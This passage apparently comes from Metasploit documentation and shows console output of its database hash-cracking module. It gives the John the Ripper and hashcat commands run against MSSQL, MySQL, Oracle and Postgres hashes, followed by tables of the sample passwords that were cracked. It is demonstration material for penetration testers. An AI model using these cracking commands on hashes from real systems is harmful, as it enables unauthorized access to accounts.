[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:45) 100.0g/s 51200p/s 51200c/s 51200C/s test3:::..est3:::
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking mysql hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mysql hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mysql hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mysql hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
[*] Checking mysql-sha1 hashes already cracked...
[*] Cracking mysql-sha1 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:45) 100.0g/s 1600p/s 1600c/s 1600C/s tere..probe
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking mysql-sha1 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mysql-sha1 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mysql-sha1 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mysql-sha1 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
1360 mysql-sha1 mysql-sha1_tere tere Single
[*] Checking oracle hashes already cracked...
[*] Cracking oracle hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
2g 0:00:00:00 DONE (2019-05-31 15:45) 66.66g/s 364200p/s 1092Kc/s 1092KC/s TEST3:::..T1900
Use the "--show --format=oracle" options to display all of the cracked passwords reliably
Session completed
[*] Cracking oracle hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
Warning: mixed-case charset, but the current hash type is case-insensitive;
some candidate passwords may be unnecessarily tried more than once.
0g 0:00:01:00 3/3 0g/s 2705Kp/s 2705Kc/s 2705KC/s LML489..LST0WO
Session stopped (max run-time reached)
[*] Cracking oracle hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
Warning: mixed-case charset, but the current hash type is case-insensitive;
some candidate passwords may be unnecessarily tried more than once.
0g 0:00:01:00 3/3 0g/s 2700Kp/s 2700Kc/s 2700KC/s CKS5ER..CGE0DW
Session stopped (max run-time reached)
[*] Cracking oracle hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:00 0g/s 2880Kp/s 2880Kc/s 2880KC/s 225486472..229896168
Session stopped (max run-time reached)
[*] Cracking oracle hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-05-31 15:48) 0g/s 16700p/s 16700c/s 16700C/s TEST3:::..HASHCATING
Session completed
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
1360 mysql-sha1 mysql-sha1_tere tere Single
1361 oracle simon A Single
1362 oracle SYSTEM THALES Single
[*] Checking dynamic_1506 hashes already cracked...
[*] Cracking dynamic_1506 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking dynamic_1506 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking dynamic_1506 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking dynamic_1506 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking dynamic_1506 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
1360 mysql-sha1 mysql-sha1_tere tere Single
1361 oracle simon A Single
1362 oracle SYSTEM THALES Single
[*] Checking raw-sha1,oracle hashes already cracked...
Unknown ciphertext format name requested
[*] Cracking raw-sha1,oracle hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Unknown ciphertext format name requested
Unknown ciphertext format name requested
[*] Cracking raw-sha1,oracle hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Unknown ciphertext format name requested
Unknown ciphertext format name requested
[*] Cracking raw-sha1,oracle hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Unknown ciphertext format name requested
Unknown ciphertext format name requested
[*] Cracking raw-sha1,oracle hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Unknown ciphertext format name requested
Unknown ciphertext format name requested
[*] Cracking raw-sha1,oracle hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=olCLdt27 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=raw-sha1,oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Unknown ciphertext format name requested
Unknown ciphertext format name requested
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
1360 mysql-sha1 mysql-sha1_tere tere Single
1361 oracle simon A Single
1362 oracle SYSTEM THALES Single
[*] Checking oracle11 hashes already cracked...
[*] Cracking oracle11 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:48) 100.0g/s 2400p/s 2400c/s 2400C/s epsilon..Buddahh
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking oracle11 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking oracle11 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking oracle11 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking oracle11 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=sYHhhqvp --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle11 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
1360 mysql-sha1 mysql-sha1_tere tere Single
1361 oracle simon A Single
1362 oracle SYSTEM THALES Single
1363 oracle11 DEMO epsilon Single
1364 oracle11 oracle11_epsilon epsilon Single
[*] Checking oracle12c hashes already cracked...
[*] Cracking oracle12c hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:48) 16.66g/s 2133p/s 2133c/s 2133C/s test3:::..password0
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking oracle12c hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking oracle12c hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking oracle12c hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking oracle12c hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=glBBUtZH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle12c --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
1360 mysql-sha1 mysql-sha1_tere tere Single
1361 oracle simon A Single
1362 oracle SYSTEM THALES Single
1363 oracle11 DEMO epsilon Single
1364 oracle11 oracle11_epsilon epsilon Single
1365 oracle12c oracle12c_epsilon epsilon Single
[*] Checking dynamic_1034 hashes already cracked...
[*] Cracking dynamic_1034 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:48) 50.00g/s 168000p/s 168000c/s 168000C/s test3:::..:::3tset4
Use the "--show --format=dynamic_1034" options to display all of the cracked passwords reliably
Session completed
[*] Cracking dynamic_1034 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking dynamic_1034 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking dynamic_1034 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking dynamic_1034 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=Ici8lKLE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1034 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
1360 mysql-sha1 mysql-sha1_tere tere Single
1361 oracle simon A Single
1362 oracle SYSTEM THALES Single
1363 oracle11 DEMO epsilon Single
1364 oracle11 oracle11_epsilon epsilon Single
1365 oracle12c oracle12c_epsilon epsilon Single
1366 dynamic_1034 example password Single
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
mssql_foo foo Password
oracle12c_epsilon epsilon Password
DEMO epsilon Password
oracle11_epsilon S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
example md5be86a79bf2043622d58d5453c47d4860 Postgres md5 raw-md5,postgres
simon A Password
SYSTEM THALES Password
mssql12_Password1! 0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 Nonreplayable hash mssql12
mysql-sha1_tere tere Password
mysql_probe 445ff82636a7ba59 Nonreplayable hash mysql
mssql_foo 0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 Nonreplayable hash mssql
example password Password
mssql12_Password1! Password1! Password
simon 4F8BC1809CB2AF77 Nonreplayable hash des,oracle
mssql05_toto toto Password
oracle11_epsilon epsilon Password
mssql_foo FOO Password
SYSTEM 9EEDFA0AD26C6D52 Nonreplayable hash des,oracle
mssql05_toto 0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 Nonreplayable hash mssql05
DEMO S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
oracle12c_epsilon H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B Nonreplayable hash pbkdf2,oracle12c
mysql_probe probe Password
mysql-sha1_tere *5AD8F88516BD021DD43F171E2C785C69F8E54ADB Nonreplayable hash mysql-sha1
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_databases
resource (hashes_hashcat.rb)> set action hashcat
action => hashcat
resource (hashes_hashcat.rb)> run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20190531-29687-sp1ejs
[*] Wordlist file written out to /tmp/jtrtmp20190531-29687-1u8mjuq
[*] Checking mssql hashes already cracked...
[*] Cracking mssql hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=dZTr4DsK --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=131 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mssql hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=dZTr4DsK --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=131 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mssql hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=dZTr4DsK --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=131 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1380 mssql mssql_foo FOO Wordlist
[*] Checking mssql05 hashes already cracked...
[*] Cracking mssql05 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=gKYO7rts --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=132 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mssql05 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=gKYO7rts --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=132 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mssql05 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=gKYO7rts --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=132 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
[*] Checking mssql12 hashes already cracked...
[*] Cracking mssql12 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=X5k9f6JY --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1731 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mssql12 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=X5k9f6JY --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1731 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mssql12 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=X5k9f6JY --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1731 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
[*] Checking mysql hashes already cracked...
[*] Cracking mysql hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=L2YwjG1w --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=200 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mysql hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=L2YwjG1w --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=200 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mysql hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=L2YwjG1w --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=200 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1379 mssql05 mssql05_toto toto Wordlist
1380 mssql mssql_foo FOO Wordlist
1382 mysql mysql_probe probe Wordlist
[*] Checking mysql-sha1 hashes already cracked...
[*] Cracking mysql-sha1 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=jMcLuSDn --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=300 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mysql-sha1 hashes in incremental mode...
